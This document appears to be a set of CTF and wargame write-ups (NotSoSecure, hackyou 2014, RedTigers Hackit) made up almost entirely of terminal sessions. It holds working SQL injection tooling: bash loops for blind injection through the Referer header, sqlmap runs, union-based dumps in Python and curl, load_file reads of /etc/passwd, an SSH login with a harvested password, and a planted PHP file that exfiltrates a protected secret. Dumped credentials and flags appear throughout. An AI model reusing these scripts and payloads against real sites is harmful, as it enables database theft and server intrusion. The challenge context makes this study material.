# NotSoSecure CTF April 2k14

Flag 1 - Column truncation

# cat get_register_page
#!/bin/bash

url='http://ctf.notsosecure.com/9128938921839838/'

comment=`curl --silent --location --request GET $url | grep -e '<!--' | tail -n 1 | awk -F '-' '{print $3}' | tr -d ' '`
echo $comment
echo $comment | base64 -d | gunzip ; echo

# ./get_register_page 
H4sIAAAAAAAAAAsyTs80LTEu0ssoyc0BACMzGYUNAAAA
R3gi5t3r.html

# cat get_flag_1
#!/bin/bash

regname="`echo -n \"$1\" | sed 's/ /%20/g'`"
regemail="$2"
regpass="$3"
url='http://ctf.notsosecure.com/9128938921839838'
register_url="$url/register.php?regname=$regname&regemail=$regemail&regpass1=$regpass&regpass2=$regpass"
cookie="nss"

curl --silent --request GET $register_url | grep -e 'successfully' -e 'Already'

checklogin_url="$url/checklogin.php"                                             
curl --silent --location --request POST --cookie-jar $cookie --cookie $cookie --data "myusername=admin&mypassword=$regpass" $checklogin_url | grep -e 'Flag' -e 'feedback'

# ./get_flag_1 'admin               nss' 'fake@mail.com' 's3cur3'
              <h3 style="text-align: center;font-size: 30px;">You have registered successfully</h3>
       <h4 style="text-align: center;">Well done, 1st Flag is 67326289</h4>
      <center><a href="f33db4ck_flag/index.php" class="btn">feedback</a></center>

Flag 2 - Blind SQLi in HTTP Referer

# cat get_flag_2
#!/bin/bash

./feedback_base

echo "=== Dump tables ==="
./dump_tables

echo "=== Dump columns from flag table ==="
./dump_columns flag

echo "=== Dump flags from flag column ==="
./dump_flags flag flag

# cat feedback_base
#!/bin/bash

ofile="normal"
name="name"
email="email"
message="message"
url='ctf.notsosecure.com/9128938921839838'
feedback_url="$url/f33db4ck_flag/submit.php"

curl --silent --request POST --data "name=$name&email=$email&message=$message&submit=Submit" $feedback_url > $ofile

# cat dump_tables
#!/bin/bash

t=0
while true; do
    error=`./feedback "(select count(distinct table_name) from information_schema.columns where table_schema not like '%_schema' and table_schema!='mysql')=$t" | grep Error`
    if [ "$error" != "" ]; then
        t=$[$t+1]
    else
        break
    fi
done

echo "#tables = $t"

for i in `seq 0 $[$t-1]`; do
    echo -n "table[$i] = "
    j=1
    while true; do
        error=`./feedback "(select length(table_name) from information_schema.columns where table_schema not like '%_schema' and table_schema!='mysql' group by table_name limit $i,1)=$j" | grep Error`
        if [ "$error" != "" ]; then
            j=$[$j+1]
        else
            break
        fi
    done
    for k in `seq 1 $j`; do
        for l in `echo {a..z} {0..9}`; do
            error=`./feedback "(select substring(table_name,$k,1) from information_schema.columns where table_schema not like '%_schema' and table_schema!='mysql' group by table_name limit $i,1)='$l'" | grep Error`
            if [ "$error" == "" ]; then
                echo -n $l
                break
            fi
        done
    done
    echo
done

# cat dump_columns 
#!/bin/bash

table="$1"
c=0
while true; do
    error=`./feedback "(select count(distinct column_name) from information_schema.columns where table_name='$table')=$c" | grep Error`
    if [ "$error" != "" ]; then
        c=$[$c+1]
    else
        break
    fi
done

echo "table = $table"
echo "#columns = $c"

for i in `seq 0 $[$c-1]`; do
    echo -n "column[$i] = "
    j=1
    while true; do
        error=`./feedback "(select length(column_name) from information_schema.columns where table_name='$table' limit $i,1)=$j" | grep Error`
        if [ "$error" != "" ]; then
            j=$[$j+1]
        else
            break
        fi
    done
    for k in `seq 1 $j`; do
        for l in `echo {a..z} {0..9}`; do
            error=`./feedback "(select substring(column_name,$k,1) from information_schema.columns where table_name='$table' limit $i,1)='$l'" | grep Error`
            if [ "$error" == "" ]; then
                echo -n $l
                break
            fi
        done
    done
    echo
done

# cat dump_flags 
#!/bin/bash

table="$1"
column="$2"
f=0
while true; do
    error=`./feedback "(select count(distinct $column) from $table)=$f" | grep Error`
    if [ "$error" != "" ]; then
        f=$[$f+1]
    else
        break
    fi
done

echo "table = $table"
echo "column = $table"
echo "#flags = $f"

for i in `seq 0 $[$f-1]`; do
    echo -n "flag[$i] = "
    j=1
    while true; do
        error=`./feedback "(select length($column) from $table limit $i,1)=$j" | grep Error`
        if [ "$error" != "" ]; then
            j=$[$j+1]
        else
            break
        fi
    done
    for k in `seq 1 $j`; do
        for l in `echo {a..z} {0..9}`; do
            error=`./feedback "(select substring($column,$k,1) from $table limit $i,1)='$l'" | grep Error`
            if [ "$error" == "" ]; then
                echo -n $l
                break
            fi
        done
    done
    echo
done

# ./cat feedback
#!/bin/bash

function compare {
    grep Thanks $ofile
    diff normal $ofile
    rm $ofile
}

function encode {
    echo -n "$1" | xxd -p | tr -d '\n' | sed 's/\(..\)/%\1/g'
}

ofile="$RANDOM"
name="name"
email="email"
message="message"
condition="$1"
injection="'+(select if($condition,'1',(select table_name from information_schema.columns limit 1,2)))+'"
referer="`encode "$injection"`"
url='ctf.notsosecure.com/9128938921839838'
feedback_url="$url/f33db4ck_flag/submit.php"

#--proxy 127.0.0.1:8080
curl --silent --referer "$referer" --request POST --data "name=$name&email=$email&message=$message&submit=Submit" $feedback_url > $ofile
compare

# ./get_flag_2
=== Dump tables ===
#tables = 2
table[0] = flag
table[1] = temp
=== Dump columns from flag table ===
table = flag
#columns = 1
column[0] = flag
=== Dump flags from flag column ===
table = flag
column = flag
#flags = 1
flag[0] = 1362390

Flag 2 - Blind SQLi in HTTP Referer (sqlmap)

# cat do_sqlmap 
#!/bin/bash

function sqlm {
    args="$1"
    echo "$args"
    url='http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/submit.php'
    referer='%27||(select(1)regexp(IF(1=1*,1,%27%27)))||%27'
    string='Thanks!, we will be in touch...'
    sqlmap \
        --url="$url" \
        --referer="$referer" \
        --string="$string" \
        --technique=B \
        --threads=4 \
        --answers='it?=Y,any)?=y' \
        $args
}

echo "=== Fingerprint ==="
sqlm
echo "=== Enumerate DBMS databases ==="
sqlm "--dbms=MySQL --dbs"
echo "=== Enumerate DBMS database tables ==="
sqlm "--dbms=MySQL -D seven --tables"
echo "=== Enumerate DBMS database table columns ==="
sqlm "--dbms=MySQL -D seven -T flag --columns"
echo "=== Dump DBMS database table entries ==="
sqlm "--dbms=MySQL -D seven -T flag -C flag --dump"

# ./do_sqlmap
=== Fingerprint ===

sqlmap identified the following injection points with a total of 16 HTTP(s) requests:
---
Place: (custom) HEADER
Parameter: Referer #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: '||(select(1)regexp(IF(1=1 AND 4549=4549,1,'')))||'
---
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0

=== Enumerate DBMS databases ===
--dbms=MySQL --dbs

available databases [2]:
[*] information_schema
[*] seven

=== Enumerate DBMS database tables ===
--dbms=MySQL -D seven --tables

Database: seven
[2 tables]
+------+
| flag |
| temp |
+------+

=== Enumerate DBMS database table columns ===
--dbms=MySQL -D seven -T flag --columns

Database: seven
Table: flag
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(20) |
+--------+-------------+

=== Dump DBMS database table entries ===
--dbms=MySQL -D seven -T flag -C flag --dump

Database: seven
Table: flag
[1 entry]
+---------+
| flag    |
+---------+
| 1362390 |
+---------+

# hackyou 2k14: Web - Voting (100 points)

# cat web.py
#!/usr/bin/python

import re, urllib, urllib2

def inject(hexid):
   url    = 'http://hackyou2014tasks.ctf.su:10080/index.php'
   values = {
    'id'    : hexid,
    'vote'  : '1',
    'submit': 'Submit'
   }
   data = urllib.urlencode(values)
   req  = urllib2.Request(url, data)
   res  = urllib2.urlopen(req)
   return res.read()

hexid  = '0x' + '100 union select group_concat(table_name) from information_schema.tables'.encode('hex')
print inject(hexid)
hexid  = '0x' + '100 union select group_concat(table_name) from information_schema.tables where table_name like \'f%\''.encode('hex')
print inject(hexid)
hexid  = '0x' + '100 union select group_concat(column_name) from information_schema.columns where table_name=\'Flag\''.encode('hex')
print inject(hexid)
hexid  = '0x' + '100 union select flag from Flag'.encode('hex')
print re.search(r'CTF{.*}', inject(hexid)).group()
# ./web.py
<p><b>Thank you!</b> Results:</p><table border="1"><tr><th>Logo</th><th>Total votes</th><th>Average</th></tr><tr><td>CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BUFFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPMEM,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,columns_priv,db,event,func,general_log,help_category,help_keyword,help_relation,help_topic,host,ndb_binlog_index,plugin,proc,procs_priv,proxies_priv,servers,slow_log,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user,cond_instances,events_waits_current,events_waits_history,events_waits_history_long,events_waits_summary_by_instance,events_waits_summary_by_thread_by_event_name,events_waits_su</td><td></td><td>0</td></tr></table><br><a href="index.php">Back</a><br>
<p><b>Thank you!</b> Results:</p><table border="1"><tr><th>Logo</th><th>Total votes</th><th>Average</th></tr><tr><td>FILES,func,file_instances,file_summary_by_event_name,file_summary_by_instance,Flag</td><td></td><td>0</td></tr></table><br><a href="index.php">Back</a><br>
<p><b>Thank you!</b> Results:</p><table border="1"><tr><th>Logo</th><th>Total votes</th><th>Average</th></tr><tr><td>flag</td><td></td><td>0</td></tr></table><br><a href="index.php">Back</a><br>
CTF{820178c33c03aaa7cfe644c691679cf8}

# NotSoSecure CTF October 2k13

# curl --silent --request POST --data "myusername=mu&mypassword=mp" http://ctf.notsosecure.com/71367217217126217712/checklogin.php | xxd -p -r ; echo
secret_register.html
# cat console
#!/bin/bash

echo -n "> "
while read line; do 
 username=`echo -n "$line" | sed -e "s/'/%27/g" -e 's/ /+/g'`
 curl --silent --cookie-jar nss --cookie nss --request GET "http://ctf.notsosecure.com/71367217217126217712/register.php?regname=$username&regemail=mail&regpass1=pass&regpass2=pass" > /dev/null 2>&1
 curl --silent --cookie-jar nss --cookie nss --request POST --data "myusername=$line&mypassword=pass" "http://ctf.notsosecure.com/71367217217126217712/checklogin.php" > /dev/null 2>&1
 curl --silent --cookie-jar nss --cookie nss "http://ctf.notsosecure.com/71367217217126217712/uber_secret.php" > /dev/null 2>&1
 osi=`tail -n1 nss | awk '{print $7}'`
 echo $osi | sed 's/%3D/=/g' | base64 -d ; echo
 echo -n "> "
done
# ./console
> ' and false union select table_name,null from information_schema.columns where table_schema not like '%_schema' and table_schema!='mysql' group by table_name limit 2,1 --
users
> ' and false union select column_name,null from information_schema.columns where table_name='users' limit 2,1 --
password
> ' and false union select password,null from users where name='admin' --
sqlilabRocKs!!
# curl --silent --cookie-jar nss --cookie nss --request POST --data 'myusername=admin&amypassword=sqlilabRocKs!!' "http://ctf.notsosecure.com/71367217217126217712/checklogin.php"
# curl --silent --cookie-jar nss --cookie nss "http://ctf.notsosecure.com/71367217217126217712/uber_secret.php" | grep -A 3 Success
   <h1>Success!</h1><br><a href='login.php'> click here to go back</a><br>
<div>Well done, Flag is 815290. 2nd flag is in file secret.txt</div>
<h3 class="h3_admin">You are Admin!</h3>
    <div><img src="images/login/smiley.gif"></div>
# cat secret
#!/bin/bash

echo -n "> "
while read line; do 
 echo "'$line'"
 mu="' and false union select load_file('$line'),null -- 123"
 username=`echo -n "$mu" | sed -e "s/'/%27/g" -e 's/ /+/g'`
 echo $username 
 curl --silent --cookie-jar nss --cookie nss --request GET "http://ctf.notsosecure.com/71367217217126217712/register.php?regname=$username&regemail=mail&regpass1=pass&regpass2=pass" > /dev/null 2>&1
 curl --silent --cookie-jar nss --cookie nss --request POST --data "myusername=$mu&mypassword=pass" "http://ctf.notsosecure.com/71367217217126217712/checklogin.php" > /dev/null 2>&1
 curl --silent --cookie-jar nss --cookie nss "http://ctf.notsosecure.com/71367217217126217712/uber_secret.php" > /dev/null 2>&1
 osi=`tail -n1 nss | awk '{print $7}'`
 echo $osi | sed 's/%3D/=/g' | base64 -d ; echo
 echo -n "> "
done
# ./secret
> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:107:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ctf:x:1000:1000:,,,:/home/ctf:/bin/bash
temp123:x:1001:1001:weakpassword1:/home/temp123:/bin/sh
ntop:x:108:116::/var/lib/ntop:/bin/false
# ssh temp123@ctf.notsosecure.com
temp123@ctf.notsosecure.com's password:weakpassword1
$ find / -name secret.txt 2> /dev/null
/tmp/secret.txt
/secret.txt
$ cat /tmp/secret.txt
n0th1ng to s33...
$ cat /secret.txt
cat: /secret.txt: Permission denied
$ ls -l /secret.txt
-r-------- 1 www-data www-data 684 Oct 25 07:46 /secret.txt
$ cat /home/temp123/.* | less
$ cd /var/www
$ ls -l
total 40
drwxr-xr-x 4 root root 4096 Oct 25 07:47 71367217217126217712
drwxr-xr-x 3 root root 4096 Oct  7 22:17 css
drwxr-xr-x 4 root root 4096 Oct  7 22:17 ctf
drwxr-xr-x 3 root root 4096 Oct  7 21:59 ctf-ver3
-rw-r--r-- 1 root root  894 Sep 12 08:20 favicon.ico
drwxr-xr-x 2 root root 4096 Oct  7 22:17 img
-rw-r--r-- 1 root root  177 Oct  4 19:43 _index.html
-rw-r--r-- 1 root root 3929 Oct  9 08:04 index.html
-rw-r--r-- 1 root root 2654 Oct  7 22:17 index.html.bak
drwxr-xr-x 4 root root 4096 Oct 27 10:03 leaderboard
$ cd 71367217217126217712
$ ls -l
total 60
-rw-r--r-- 1 root root 1327 Oct 25 07:41 checklogin.php
drwxr-xr-x 2 root root 4096 Oct 22 09:54 css
-rw-r--r-- 1 root root 1607 Oct 22 07:47 error.php
-rw-r--r-- 1 root root  894 Oct 22 02:04 favicon.ico
drwxr-xr-x 4 root root 4096 Oct 22 02:04 images
-rw-r--r-- 1 root root 2092 Oct 22 07:44 index.php
-rw-r--r-- 1 root root 2092 Oct 22 07:45 login.php
-rw-r--r-- 1 root root  991 Oct 22 08:16 _Logout.php
-rw-r--r-- 1 root root 1238 Oct 22 09:40 Logout.php
-rw-r--r-- 1 root root 3040 Oct 22 08:00 _register.php
-rw-r--r-- 1 root root 3060 Oct 25 07:47 register.php
-rw-r--r-- 1 root root 1745 Oct 22 07:53 _secret_register.html
-rw-r--r-- 1 root root 1882 Oct 23 14:26 secret_register.html
-rw-r--r-- 1 root root 3324 Oct 22 08:05 _uber_secret.php
-rw-r--r-- 1 root root 3316 Oct 25 07:47 uber_secret.php
$ cat uber_secret.php
<?php
error_reporting(0);
session_start();
if(!session_is_registered(myusername)){
header("location:login.php");
die;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>SQL</title>
<link rel="stylesheet" href="css/screen.css" type="text/css" media="screen" title="default" />

</head>
<body> 

<div id="page-top-outer">    

<div id="page-top">

 <div id="logo">
 </div>

 <div id="top-search">
  <table border="0" cellpadding="0" cellspacing="0">
  <tr>
  <td>
  <a href="Logout.php"><button>Logout</button></a>
  </td>
  </tr>
  </table>
 </div>

  <div class="clear"></div>

</div>
</div> 
<div class="clear"> </div><br />
<div class="clear"></div>
<div id="content-outer">
<div id="content">
 <div id="page-heading">
 </div>
<table border="0" width="100%" cellpadding="0" cellspacing="0" id="content-table">
 <tr>
  <th rowspan="3" class="sized"><img src="images/shared/side_shadowleft.jpg" width="20" height="300" alt="" /></th>
  <th class="topleft"></th>
  <td id="tbl-border-top"> </td>
  <th class="topright"></th>
  <th rowspan="3" class="sized"><img src="images/shared/side_shadowright.jpg" width="20" height="300" alt="" /></th>
 </tr>
 <tr>
  <td id="tbl-border-left"></td>
  <td>
  <div id="content-table-inner">

   <div id="table-content">
   <?php if($_SESSION['myusername']=='admin')
{?>
<h1>Success!</h1><br><a href='login.php'> click here to go back</a><br>
<div><?echo "Well done, Flag is 815290. 2nd flag is in file secret.txt";?></div>
<h3 class="h3_admin">You are Admin!</h3>
    <div><img src="images/login/smiley.gif"></div>
<?php }
 else { ?>
   <h3 class="h3_admin">You are not Admin!</h3>
    <div><img src="images/login/sad smiely.gif"></div>
   
   </div>
   <div style="padding-left:350px;font-weight:bold; font-size:20px;color:#92B22C;">
<?php
$host="localhost"; 
$username="2ndorder"; 
$password="2ndorder"; 
$db_name="2ndorder"; 
$tbl_name="users"; 
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");

$sql="SELECT email,name FROM $tbl_name WHERE name='".$_SESSION['myusername']." '";

$result=mysql_query($sql);
$row = mysql_fetch_row($result);
$login1=$row[0];

echo "Logged in as <b>".htmlentities($_SESSION['myusername'])."</b><br>";?> 
<?
setcookie(session_id,base64_encode($login1));
?> 
</div>
 <?php } ?>
   <div class="clear"></div>
   
  </div>
  </td>
  <td id="tbl-border-right"></td>
 </tr>
 <tr>
  <th class="sized bottomleft"></th>
  <td id="tbl-border-bottom"> </td>
  <th class="sized bottomright"></th>
 </tr>
 </table>
 <div class="clear"> </div>
</div>
<div class="clear"> </div>
</div>
<div class="clear"> </div>
 
 <div class="footer">
  <ul>
   <li style="margin-top: 20px;">powered by</li>
   <li><a href="http://www.securitytube-training.com/virtual-labs/sql-injection-labs/">
    <img src="images/login/sql.jpg" class="img_login">
   </a></li>
   <li style="margin-top: 20px;">© NotSoSecure</li>
  </ul>
 </div>
</body>
</html>
$ cat register.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>SQLi labs</title>
<link rel="stylesheet" href="css/screen.css" type="text/css" media="screen" title="default" />
<link rel="shortcut icon" href="../favicon.ico">


</head>
<body> 

<div id="page-top-outer">    


<div id="page-top">

 
 <div id="logo">
 </div>

 
 
 <div id="top-search">
  <table border="0" cellpadding="0" cellspacing="0">
  <tr>
  <td>
  
  </td>
  </tr>
  </table>
 </div>
  
  <div class="clear"></div>

</div>

</div>
 
<div class="clear"> </div>
  <div class="clear"></div>
<div id="content-outer">
<div id="content">
 <div id="page-heading">
 </div>
 <table border="0" width="100%" cellpadding="0" cellspacing="0" id="content-table">
 <tr>
  <th rowspan="3" class="sized"><img src="images/shared/side_shadowleft.jpg" width="20" height="300" alt="" /></th>
  <th class="topleft"></th>
  <td id="tbl-border-top"> </td>
  <th class="topright"></th>
  <th rowspan="3" class="sized"><img src="images/shared/side_shadowright.jpg" width="20" height="300" alt="" /></th>
 </tr>
 <tr>
  <td id="tbl-border-left"></td>
  <td>
  <div id="content-table-inner">
   <div id="table-content">
   <?php
error_reporting(0);
if($_GET["regname"] && $_GET["regemail"] && $_GET["regpass1"] && $_GET["regpass2"] )
{
if($_GET["regpass1"]==$_GET["regpass2"])
{
$servername="localhost";
$username="2ndorder";
$conn= mysql_connect($servername,$username,'2ndorder','2ndorder')or die(mysql_error());
mysql_select_db("2ndorder",$conn);
$sql1="select * from users where name ='".mysql_real_escape_string($_REQUEST['regname'])."'";
$result1=mysql_query($sql1);
$row1 = mysql_fetch_row($result1);
$count1=mysql_num_rows($result1);
if ($count1>0)
{
echo "<a href='login.php'>click here to login</a><br>";
die("User Already Exist");
}
$sql="insert into users (name,email,password)values('".mysql_real_escape_string($_GET[regname])."','".mysql_real_escape_string($_GET[regemail])."','".mysql_real_escape_string($_GET[regpass1])."')";
$result=mysql_query($sql,$conn) or die(mysql_error());
print "You have sucessfully registered!<br>";
print "<a href='login.php'>go to login page</a>";
}
else print "passwords don't match";
}
else { ?> <div class="register_invelid">Invaild data</div>
<?php }
?>
</div>
   <div class="clear"></div>
  </div>
  </td>
  <td id="tbl-border-right"></td>
 </tr>
 <tr>
  <th class="sized bottomleft"></th>
  <td id="tbl-border-bottom"> </td>
  <th class="sized bottomright"></th>
 </tr>
 </table>
 <div class="clear"> </div>

</div>
<div class="clear"> </div>

<div class="footer">
 <ul>
  <li style="margin-top: 20px;" >powered by</li>
  <li><a href="http://www.securitytube-training.com/virtual-labs/sql-injection-labs/">
   <img class="img_login" src="images/login/sql.jpg">
  </a></li>
  <li style="margin-top: 20px;">© NotSoSecure</li>
 </ul>
 
</div>
</div> 
</body>
</html>
$ apachectl -M
/usr/sbin/apachectl: 87: ulimit: error setting limit (Operation not permitted)
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
Loaded Modules:
 core_module (static)
 log_config_module (static)
 logio_module (static)
 mpm_prefork_module (static)
 http_module (static)
 so_module (static)
 alias_module (shared)
 auth_basic_module (shared)
 authn_file_module (shared)
 authz_default_module (shared)
 authz_groupfile_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 cgi_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 mime_module (shared)
 negotiation_module (shared)
 php5_module (shared)
 reqtimeout_module (shared)
 setenvif_module (shared)
 status_module (shared)
 userdir_module (shared)
Syntax OK
$ cat /etc/apache2/mods-enabled/userdir.conf
<IfModule mod_userdir.c>
        UserDir public_html
        UserDir disabled root

        <Directory /home/*/public_html>
                AllowOverride FileInfo AuthConfig Limit Indexes
                Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
                <Limit GET POST OPTIONS>
                        Order allow,deny
                        Allow from all
                </Limit>
                <LimitExcept GET POST OPTIONS>
                        Order deny,allow
                        Deny from all
                </LimitExcept>
        </Directory>
</IfModule>
$ cd /home/temp123
$ mkdir public_html
$ vi index.php
<?php echo file_get_contents('/secret.txt');
<ESC>:wq
$ exit
# curl --silent http://ctf.notsosecure.com/~temp123/index.php
Well done, 2nd Flag is 128738213812990.

email both the flags to ctf@notsosecure.com with subject CTF FLAGS!

make sure you delete all the files you have created on the server so you dont allow other users easy points by using the files left by you on the server.

Please provide a detailed write up to qualify for cash prize!
The person with best write-up wins. You are allowed to publish the write-up on public site, but please do this after the CTF has finished (sunday, 27th October).

Hope you enjoyed the CTF. This was taken from one of challenges we have on SQLi Labs. To practice more on this visit our SQLi Labs.

The next public CTF will take place in December.

Thanks
Sid

# RedTigers Hackit wargame: Level 9

# curl --silent --insecure --cookie-jar level9 --cookie level9 --request POST --data "password=736c61705f7468655f6c616d65727a&level9login=Login" https://redtiger.dyndns.org/hackit/level9.php
                <b>Welcome to Level 9</b><br><br>
                Target: Get username and password of any user. Tablename: level9_users<br>
                Its not a blind. There is a way to get an output :) <br>
                <br><br>
        Autor: RedTiger <br>Title: Lorem ipsum <br>Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. <br><br>                     <form method="POST">
                                Name: <input type="text" name="autor"> <br>
                                Title: <input type="text" name="title"><br>
                                <textarea name="text"></textarea>
                                <input type="submit" name="post">
                        </form>
                                <br><br><br>
                        <form method="post">
                                Username: <input type="text" name="user"><br>
                                Password: <input type="text" name="password">
                                <input type="submit" name="login" value="Login">
                        </form>
                        <br>
# for i in {1..13};  do dec=`curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='+%2b+(select+ord(right(username, $[14-$i]))+from+level9_users+limit+1)+%2b+'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | grep "POST" | awk -F '<br>' '{print $7}'`; hex=`printf "%x" $dec`; echo -n `printf "\x$hex"`; done ; echo
546865426c7565466c6f776572
# for i in {1..145}; do dec=`curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='+%2b+(select+ord(right(password,$[146-$i]))+from+level9_users+limit+1)+%2b+'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | grep "POST" | awk -F '<br>' '{print $7}'`; hex=`printf "%x" $dec`; echo -n `printf "\x$hex"`; done ; echo
212f666c6f776572706f77657228293d25643436333662444644666c6c636b6668736b646668736b64666873646b6c666861736b6c6466686b6c6668726968776f7537333439353833373439353837342425c2a72526c2a72426c2a724252621c2a72425444653414446415344465344313334353334353132333472356173644651574525c2a7242644466173646661733233343536
# for i in {1..13};  do dec=`curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='+%2b+(select+ord(right(reverse(right(reverse(username),$i)),1))+from+level9_users+limit+1)+%2b+'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | grep "POST" | awk -F '<br>' '{print $7}'`; hex=`printf "%x" $dec`; echo -n `printf "\x$hex"`; done ; echo
546865426c7565466c6f776572
# for i in {1..145}; do dec=`curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='+%2b+(select+ord(right(reverse(right(reverse(password),$i)),1))+from+level9_users+limit+1)+%2b+'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | grep "POST" | awk -F '<br>' '{print $7}'`; hex=`printf "%x" $dec`; echo -n `printf "\x$hex"`; done ; echo
212f666c6f776572706f77657228293d25643436333662444644666c6c636b6668736b646668736b64666873646b6c666861736b6c6466686b6c6668726968776f7537333439353833373439353837342425c2a72526c2a72426c2a724252621c2a72425444653414446415344465344313334353334353132333472356173644651574525c2a7242644466173646661733233343536
# curl --silent --insecure --cookie level9 --request POST --data "autor=&title=&text='),((select username from level9_users limit 1),(select password from level9_users limit 1),'&post=Submit+Query" https://redtiger.dyndns.org/hackit/level9.php | sed 's/<br>/\n/g' | grep -A 1 Autor
Autor: RedTiger
Title: Lorem ipsum
--
Autor:
Title:
--
Autor: 546865426c7565466c6f776572
Title: 212f666c6f776572706f77657228293d25643436333662444644666c6c636b6668736b646668736b64666873646b6c666861736b6c6466686b6c6668726968776f7537333439353833373439353837342425c2a72526c2a72426c2a724252621c2a72425444653414446415344465344313334353334353132333472356173644651574525c2a7242644466173646661733233343536
# curl --silent --insecure --cookie level9 --request POST --data "user=546865426c7565466c6f776572&password=253231253246666c6f776572703239253344253235643436333662444644666c6c636b6668736b646668736b64666873646b6c666861736b6c6466686b6c6668726968776f753733343935383337343935383734253234253235254137253235253236254137253234253236254137253234253235253236253231254137253234253235444653414446415344465344313334353334353132333472356173644651574525323525413725323425323644466173646661733233343536&login=Login" https://redtiger.dyndns.org/hackit/level9.php | grep is:
<br>The password for the next level is: <b>646f6e745f7468726f775f73746f6e6573</b> <br><br>

# RedTigers Hackit wargame: Level 8

# curl --silent --insecure --cookie-jar level8 --cookie level8 --request POST --data "password=4d4f4f636f774d454f57636174&level8login=Login" https://redtiger.dyndns.org/hackit/level8.php
                <b>Welcome to Level 8</b><br><br>
                Target: Get the password of the admin.<br><br><br>

                Username: Admin<br>
                <form method="POST">
                        Email: <input type="text" name="email" value="hans@localhost"> <br>
                        Name: <input type="text" name="name" value="Hans"> <br>
                        ICQ: <input type="text" name="icq" value="12345"> <br>
                        Age: <input type="text" name="age" value="25"> <br>
                        <input type="submit" name="edit" value="Edit">
                </form>
                                <br><br><br>
                        <form method="post">
                                Username: <input type="text" name="user"><br>
                                Password: <input type="text" name="password">
                                <input type="submit" name="login" value="Login">
                        </form>
                        <br>
# for i in `seq 1 20`; do email="' or length(password)='$i"; result=`curl --silent --insecure --cookie level8 --request POST --data "email=$email&edit=Edit" https://redtiger.dyndns.org/hackit/level8.php | grep email | grep 1`; if [ "$result" != "" ]; then echo $i; break; fi; done
18
# for i in `seq 1 18`; do for j in `echo {a..z} {0..9}`; do email="' or left(right(password,$[19-$i]),1)='$j"; result=`curl --silent --insecure --cookie level8 --request POST --data "email=$email&edit=Edit" https://redtiger.dyndns.org/hackit/level8.php | grep email | grep 1`; if [ "$result" != "" ]; then echo -n "$j"; break; fi; done; done; echo
7468656d65616e696e676f666c6966653432
